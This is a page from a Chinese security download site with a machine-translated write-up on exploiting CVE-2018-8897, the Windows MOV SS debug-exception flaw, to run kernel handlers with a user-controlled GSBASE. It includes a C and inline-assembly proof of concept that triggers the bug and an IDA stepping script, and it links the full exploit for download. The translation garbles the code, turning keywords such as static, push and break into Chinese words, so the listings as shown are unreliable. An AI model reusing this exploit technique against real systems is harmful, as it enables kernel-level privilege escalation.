ce安全网绿色资源分享

教程资讯|常用软件|安卓下载|下载排行|最近更新

软件
软件
文章
当前位置:首页网络安全网络安全工具 → CVE-2018-8897任意执行代码
CVE-2018-8897任意执行代码

CVE-2018-8897任意执行代码

评分:0.0
下载地址
  • 软件介绍
  • 软件截图
  • 同类推荐
  • 相关文章

软件Tags: [db:tag]

就在几天前,Nick Peterson(@nickeverdox)和Nemanja Mulasmajic(@ 0xNemi)发现了一个允许非特权用户运行带有用户模式GSBASE的#DB处理程序的新漏洞。在白皮书的最后,他们发布了 triplefault.io,他们提到他们能够加载和执行未签名的内核代码,这让我对挑战感兴趣; 这正是我要在这篇文章中尝试做的。

CVE-2018-8897任意执行代码

在开始之前,我想指出的是,这个漏洞在虚拟机上不起作用,因为int3在虚拟化下丢弃了#DB。我通过“模拟”这种情况来调试它。

0x0:设置基础
这个漏洞的基本原理非常简单,与开发漏洞不同。当堆栈段改变时 - 无论是通过MOV还是POP-直到下一条指令完成中断都被延迟。这不是微代码错误,而是英特尔添加的功能,因此可以同时设置堆栈段和堆栈指针。

但是,许多操作系统供应商错过了这个细节,这让我们引发#DB异常,就好像它来自用户模式下的CPL0。

我们可以通过设置调试寄存器来创建延迟到CPL0的异常,以便在执行堆栈段更改指令期间#DB将引发并立即调用int 3 。int 3将跳转到KiBreakpointTrap,并且在KiBreakpointTrap的第一条指令执行之前,我们的#DB将被提升。

正如原始白皮书中的everdox和0xNemi所提到的,这使我们可以使用我们的用户模式GSBASE运行内核模式异常处理程序。调试寄存器和XMM寄存器也将被保存。

所有这些都可以通过几行来完成,如下所示:

 
  1. #include <Windows.h>
  2. #include <iostream>
  3. void main ()
  4. {
  5.   静态DWORD g_SavedSS = 0 ;
  6.   _asm
  7.   {
  8.     mov ax,ss
  9.     mov word ptr [ g_SavedSS ] ,ax
  10.   }
  11.   CONTEXT Ctx = { 0 } ;
  12.   CTX。Dr0 = (DWORD )&g_SavedSS;
  13.   CTX。Dr7 = (0b1 << 0 )| (0b11 << 16 )| (0b11 << 18 );
  14.   CTX。ContextFlags = CONTEXT_DEBUG_REGISTERS;
  15.   SetThreadContext (HANDLE (- 2 ),&Ctx );
  16.   PVOID FakeGsBase = ...;
  17.   _asm
  18.   {
  19.     mov eax,FakeGsBase; 设置eax为假gs基地
  20.     推0x23
  21.     推X64_End
  22.     推0x33
  23.     推X64_Start
  24.     RETF
  25.     X64_Start:
  26.     __emit 0xf3                 ; wrgsbase eax
  27.     __emit 0x0f
  28.     __emit 0xae
  29.     __emit 0xd8
  30.     RETF
  31.     X64_End:
  32.  
  33.     ; 漏洞
  34.     mov ss,word ptr [ g_SavedSS ]       ; 推迟调试异常
  35.     int 3                                ; 执行中断禁用
  36.     NOP
  37.   }
  38. }

这个例子是32位的,为了将ASM和C一起展示,最终的工作代码将是64位。

现在,让我们开始调试,我们在 KiDebugTrapOrFault与我们的定制GSBASE!然而,这只不过是灾难性的,几乎没有功能起作用,我们最终会出现在KiDebugTrapOrFault-> KiGeneralProtectionFault-> KiPageFault-> KiPageFault-> ...无限循环中。如果我们有一个完全有效的GSBASE,那么到目前为止我们所取得的成果将是一个KMODE_EXCEPTION_NOT_HANDLED BSOD , 所以让我们专注于使GSBASE功能像真正的一样,并尝试去KeBugCheckEx。

我们可以利用一个小的IDA脚本更快地转到相关部分:

 
  1. #include <idc.idc>
  2. 静态main ()
  3. {
  4.   消息(“---步骤直到下一步GS --- \ n” );
  5.  
  6.   而(1 )
  7.   {
  8.     auto Disasm = GetDisasmEx (GetEventEa (),1 );
  9.     if (strstr (Disasm,“gs:” )> = Disasm )
  10.       打破;
  11.     StepInto ();
  12.     GetDebuggerEvent (WFNE_SUSP, - 1 );
  13.   }
  14. }

漏洞利用代码

请到网盘下载处下载
展开内容

软件截图

下载地址

  • PC版

推荐文章

用户评论

验证码:

请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!

最新评论

已有人参与,点击查看更多精彩评论

关于CE安全网 | 联系方式 | 发展历程 | 版权声明 | 下载帮助(?) | 广告联系 | 网站地图 | 友情链接

Copyright 2019-2029 cesafe.com 【CE安全网】 版权所有 蜀ICP备19039426号-2| 蜀ICP备19039426号-2

声明: 本站为非赢利性网站 不接受任何赞助和广告 所有软件和文章来自互联网 如有异议 请与本站联系 技术支持:ce安全网